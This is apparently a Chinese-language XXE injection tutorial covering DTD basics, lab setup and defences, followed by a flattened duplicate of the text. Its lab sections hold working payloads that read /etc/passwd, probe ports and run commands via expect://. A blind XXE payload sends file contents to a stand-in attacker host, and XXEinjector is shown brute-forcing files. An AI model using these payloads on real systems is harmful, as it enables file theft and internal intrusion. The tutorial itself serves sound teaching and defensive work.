[红日安全]Web安全Day8 - XXE实战攻防
字数 1661 2025-08-18 11:39:19

XXE实战攻防全面指南

1. XXE基础概念

1.1 XML基础结构

XML文档由三部分组成:

  • XML声明:<?xml version="1.0" encoding="UTF-8" standalone="no"?>
  • DTD文档类型定义(可选)
  • 文档元素
<!-- XML声明 -->
<?xml version="1.0"?> 

<!-- DTD文档类型定义 -->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT head (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

<!-- 文档元素 -->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>

1.2 DTD实体类型

1.2.1 内部实体声明

<!ENTITY 实体名称 "实体的值">

1.2.2 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

1.2.3 参数实体声明

<!ENTITY %实体名称 "实体的值">
<!ENTITY %实体名称 SYSTEM "URI">

使用区别

  • 参数实体用%实体名称声明和引用
  • 其他实体直接用实体名称声明,引用时用&实体名称
  • 参数实体只能在DTD中声明和引用

2. XXE攻击原理与分类

2.1 攻击原理

XXE(XML External Entity Injection)即XML外部实体注入,利用XML解析器处理外部实体时的漏洞,导致服务器执行恶意代码。

2.2 攻击分类

2.2.1 按构造方式分类

  1. 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
  1. 通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://example.com/Quan.dtd">
<hhh>&f;<hhh>

Quan.dtd内容: <!ENTITY f SYSTEM "file:///etc/passwd">

  1. 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://example.com/Quan.dtd">
]>
<hhh>&f;<hhh>

2.2.2 按输出信息分类

  1. 正常回显XXE - 服务器直接回显注入结果
  2. 报错XXE - 通过错误信息判断注入结果
  3. Blind XXE - 无回显信息,需借助外部服务器接收数据

3. XXE攻击危害

3.1 读取任意文件

<!ENTITY f SYSTEM "file:///etc/passwd">

3.2 执行系统命令(需expect模块支持)

<!ENTITY f SYSTEM "expect://id">

3.3 探测内网端口

<!ENTITY Quan SYSTEM "http://192.168.1.1:80">

3.4 攻击内网网站

4. 测试环境搭建

4.1 PHP靶场 - bWAPP

4.1.1 安装方式

  1. 单独安装

    • 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download
    • 解压到WWW目录
    • 修改admin/settings.php数据库配置
  2. 虚拟机导入

    • 下载地址:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
    • 使用VMWare导入

4.2 Java靶场 - WebGoat

4.2.1 安装步骤

  1. 下载jar包:
    • https://github.com/WebGoat/WebGoat/releases
  2. 安装JDK
  3. 启动:
    java -jar webgoat-server-8.0.0.M25.jar
    

4.3 DSVW靶场

4.3.1 安装步骤

apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git
python dsvw.py

4.4 xxe-lab靶场

4.4.1 安装

  • 下载地址:https://github.com/c0ny1/xxe-lab
  • PHP版直接放入WWW目录
  • Java版导入eclipse部署
  • Python版需安装Flask模块

5. 手工测试实战

5.1 bWAPP靶场测试

5.1.1 Low级别测试

  1. 读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
  1. 端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
  1. Blind XXE测试
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>

Quan.xml内容

<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/1.php?file=%file;'>">

5.2 Vulnhub XXE靶场实战

  1. 探测目标IP
  2. 访问/xxe/目录
  3. 构造读取flag的payload:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///var/www/flagmeout.php">
]>
<hhh>&f;<hhh>

5.3 Metinfo 6.0.0 CMS实战

漏洞文件:app/system/pay/web/pay.class.php

6. 自动化工具测试

6.1 Burp Collaborator插件

  1. 安装:Burpsuite的Extender模块下的BApp Store
  2. 使用:
    • 生成Collaborator payload
    • 在XXE payload中使用该URL
    • 查看Collaborator是否有请求记录

6.2 XXEinjector工具

6.2.1 安装

apt-get update
apt-get install ruby
gem install [gem-name]
git clone https://github.com/enjoiz/XXEinjector

6.2.2 使用示例

  1. 枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  1. 暴力破解文件:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

7. 防御措施

7.1 PHP防御

libxml_disable_entity_loader(true);

7.2 Java防御

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

7.3 Python防御

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

7.4 通用防御

  • 过滤用户提交的XML数据中的<!DOCTYPE><!ENTITY>,或SYSTEMPUBLIC
  • 禁用外部实体加载
  • 使用白名单验证输入
  • 更新XML解析库到最新版本
XXE实战攻防全面指南 1. XXE基础概念 1.1 XML基础结构 XML文档由三部分组成: XML声明: <?xml version="1.0" encoding="UTF-8" standalone="no"?> DTD文档类型定义(可选) 文档元素 1.2 DTD实体类型 1.2.1 内部实体声明 1.2.2 外部实体声明 1.2.3 参数实体声明 使用区别 : 参数实体用 %实体名称 声明和引用 其他实体直接用实体名称声明,引用时用 &实体名称 参数实体只能在DTD中声明和引用 2. XXE攻击原理与分类 2.1 攻击原理 XXE(XML External Entity Injection)即XML外部实体注入,利用XML解析器处理外部实体时的漏洞,导致服务器执行恶意代码。 2.2 攻击分类 2.2.1 按构造方式分类 直接通过DTD外部实体声明 通过DTD文档引入外部DTD文档中的外部实体声明 Quan.dtd内容 : <!ENTITY f SYSTEM "file:///etc/passwd"> 通过DTD外部实体声明引入外部DTD文档中的外部实体声明 2.2.2 按输出信息分类 正常回显XXE - 服务器直接回显注入结果 报错XXE - 通过错误信息判断注入结果 Blind XXE - 无回显信息,需借助外部服务器接收数据 3. XXE攻击危害 3.1 读取任意文件 3.2 执行系统命令(需expect模块支持) 3.3 探测内网端口 3.4 攻击内网网站 4. 测试环境搭建 4.1 PHP靶场 - bWAPP 4.1.1 安装方式 单独安装 : 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download 解压到WWW目录 修改admin/settings.php数据库配置 虚拟机导入 : 下载地址:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_ v1.6.7z/download 使用VMWare导入 4.2 Java靶场 - WebGoat 4.2.1 安装步骤 下载jar包: https://github.com/WebGoat/WebGoat/releases 安装JDK 启动: 4.3 DSVW靶场 4.3.1 安装步骤 4.4 xxe-lab靶场 4.4.1 安装 下载地址:https://github.com/c0ny1/xxe-lab PHP版直接放入WWW目录 Java版导入eclipse部署 Python版需安装Flask模块 5. 手工测试实战 5.1 bWAPP靶场测试 5.1.1 Low级别测试 读取文件 : 端口探测 : Blind XXE测试 : Quan.xml内容 : 5.2 Vulnhub XXE靶场实战 探测目标IP 访问/xxe/目录 构造读取flag的payload: 5.3 Metinfo 6.0.0 CMS实战 漏洞文件: app/system/pay/web/pay.class.php 6. 自动化工具测试 6.1 Burp Collaborator插件 安装:Burpsuite的Extender模块下的BApp Store 使用: 生成Collaborator payload 在XXE payload中使用该URL 查看Collaborator是否有请求记录 6.2 XXEinjector工具 6.2.1 安装 6.2.2 使用示例 枚举/etc目录: 暴力破解文件: 7. 防御措施 7.1 PHP防御 7.2 Java防御 7.3 Python防御 7.4 通用防御 过滤用户提交的XML数据中的 <!DOCTYPE> 和 <!ENTITY> ,或 SYSTEM 和 PUBLIC 禁用外部实体加载 使用白名单验证输入 更新XML解析库到最新版本